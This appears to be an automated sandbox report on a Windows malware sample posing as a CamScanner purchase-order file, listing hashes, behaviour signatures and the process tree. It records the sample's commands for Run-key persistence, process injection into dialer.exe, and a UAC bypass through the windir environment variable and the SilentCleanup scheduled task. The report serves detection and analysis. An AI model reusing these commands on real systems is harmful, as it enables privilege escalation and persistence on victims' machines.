Analysis
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max time kernel
139s -
max time network
164s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
24-07-2021 11:05
Static task
static1
Behavioral task
behavioral1
Sample
CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe
Resource
win10v20210410
General
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Target
CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe
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Size
910KB
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MD5
1318f9fe79e0c1d31ef1a04cbc5a3078
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SHA1
5096e7707c3470d02e29d49777a9c892d4a84c0c
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SHA256
63cd6fa89880cc5dadc8995b2ec904afe0cb3685c65c80569ce0d0942b14e4ad
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SHA512
3d3c411b4a74009ecedd2f947d233590294aa2b9dc4974accf6afbd01723988c4f14f115b2289599ba0df98d61450cc3ea74c570747ef2227a8631c2e64e1ff8
Malware Config
Signatures
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\Yfgbhqp = "C:\\Users\\Public\\Libraries\\pqhbgfY.url" CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1444 1008 WerFault.exe dialer.exe -
Modifies registry key 1 TTPs 3 IoCs
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Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
WerFault.exepid process 1444 WerFault.exe 1444 WerFault.exe 1444 WerFault.exe 1444 WerFault.exe 1444 WerFault.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
WerFault.exepid process 1444 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
WerFault.exedescription pid process Token: SeDebugPrivilege 1444 WerFault.exe -
Suspicious use of WriteProcessMemory 48 IoCs
Processes:
CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exedialer.execmd.execmd.execmd.exedescription pid process target process PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1008 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe dialer.exe PID 1220 wrote to memory of 1960 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe cmd.exe PID 1220 wrote to memory of 1960 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe cmd.exe PID 1220 wrote to memory of 1960 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe cmd.exe PID 1220 wrote to memory of 1960 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe cmd.exe PID 1008 wrote to memory of 1444 1008 dialer.exe WerFault.exe PID 1008 wrote to memory of 1444 1008 dialer.exe WerFault.exe PID 1008 wrote to memory of 1444 1008 dialer.exe WerFault.exe PID 1008 wrote to memory of 1444 1008 dialer.exe WerFault.exe PID 1960 wrote to memory of 992 1960 cmd.exe cmd.exe PID 1960 wrote to memory of 992 1960 cmd.exe cmd.exe PID 1960 wrote to memory of 992 1960 cmd.exe cmd.exe PID 1960 wrote to memory of 992 1960 cmd.exe cmd.exe PID 992 wrote to memory of 1576 992 cmd.exe reg.exe PID 992 wrote to memory of 1576 992 cmd.exe reg.exe PID 992 wrote to memory of 1576 992 cmd.exe reg.exe PID 992 wrote to memory of 1576 992 cmd.exe reg.exe PID 992 wrote to memory of 1140 992 cmd.exe reg.exe PID 992 wrote to memory of 1140 992 cmd.exe reg.exe PID 992 wrote to memory of 1140 992 cmd.exe reg.exe PID 992 wrote to memory of 1140 992 cmd.exe reg.exe PID 992 wrote to memory of 436 992 cmd.exe schtasks.exe PID 992 wrote to memory of 436 992 cmd.exe schtasks.exe PID 992 wrote to memory of 436 992 cmd.exe schtasks.exe PID 992 wrote to memory of 436 992 cmd.exe schtasks.exe PID 1220 wrote to memory of 1040 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe cmd.exe PID 1220 wrote to memory of 1040 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe cmd.exe PID 1220 wrote to memory of 1040 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe cmd.exe PID 1220 wrote to memory of 1040 1220 CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe cmd.exe PID 1040 wrote to memory of 948 1040 cmd.exe reg.exe PID 1040 wrote to memory of 948 1040 cmd.exe reg.exe PID 1040 wrote to memory of 948 1040 cmd.exe reg.exe PID 1040 wrote to memory of 948 1040 cmd.exe reg.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe"C:\Users\Admin\AppData\Local\Temp\CamScanner_PO#22070_Ref_389462,PO#22088_Ref_80411927.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\dialer.exeC:\Windows\System32\dialer.exe2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1008 -s 1563⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\Trast.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
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C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\nest.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f3⤵
- Modifies registry key
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Public\Trast.batMD5
4068c9f69fcd8a171c67f81d4a952a54
SHA14d2536a8c28cdcc17465e20d6693fb9e8e713b36
SHA25624222300c78180b50ed1f8361ba63cb27316ec994c1c9079708a51b4a1a9d810
SHA512a64f9319acc51fffd0491c74dcd9c9084c2783b82f95727e4bfe387a8528c6dcf68f11418e88f1e133d115daf907549c86dd7ad866b2a7938add5225fbb2811d
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C:\Users\Public\UKO.batMD5
eaf8d967454c3bbddbf2e05a421411f8
SHA16170880409b24de75c2dc3d56a506fbff7f6622c
SHA256f35f2658455a2e40f151549a7d6465a836c33fa9109e67623916f889849eac56
SHA512fe5be5c673e99f70c93019d01abb0a29dd2ecf25b2d895190ff551f020c28e7d8f99f65007f440f0f76c5bcac343b2a179a94d190c938ea3b9e1197890a412e9
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C:\Users\Public\nest.batMD5
8ada51400b7915de2124baaf75e3414c
SHA11a7b9db12184ab7fd7fce1c383f9670a00adb081
SHA25645aa3957c29865260a78f03eef18ae9aebdbf7bea751ecc88be4a799f2bb46c7
SHA5129afc138157a4565294ca49942579cdb6f5d8084e56f9354738de62b585f4c0fa3e7f2cbc9541827f2084e3ff36c46eed29b46f5dd2444062ffcd05c599992e68
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memory/436-74-0x0000000000000000-mapping.dmp
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memory/948-83-0x0000000000000000-mapping.dmp
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memory/992-70-0x0000000000000000-mapping.dmp
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memory/1008-76-0x0000000000240000-0x0000000000241000-memory.dmpFilesize
4KB
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memory/1008-65-0x0000000000000000-mapping.dmp
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memory/1008-77-0x0000000000080000-0x0000000000081000-memory.dmpFilesize
4KB
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memory/1008-78-0x0000000010670000-0x00000000107C6000-memory.dmpFilesize
1.3MB
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memory/1008-75-0x00000000000C0000-0x00000000000C1000-memory.dmpFilesize
4KB
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memory/1040-81-0x0000000000000000-mapping.dmp
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memory/1140-73-0x0000000000000000-mapping.dmp
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memory/1220-59-0x00000000769B1000-0x00000000769B3000-memory.dmpFilesize
8KB
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memory/1220-62-0x0000000000270000-0x000000000028A000-memory.dmpFilesize
104KB
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memory/1220-60-0x0000000000220000-0x0000000000221000-memory.dmpFilesize
4KB
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memory/1444-68-0x0000000000000000-mapping.dmp
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memory/1444-80-0x0000000000300000-0x0000000000301000-memory.dmpFilesize
4KB
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memory/1576-72-0x0000000000000000-mapping.dmp
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memory/1960-67-0x0000000000000000-mapping.dmp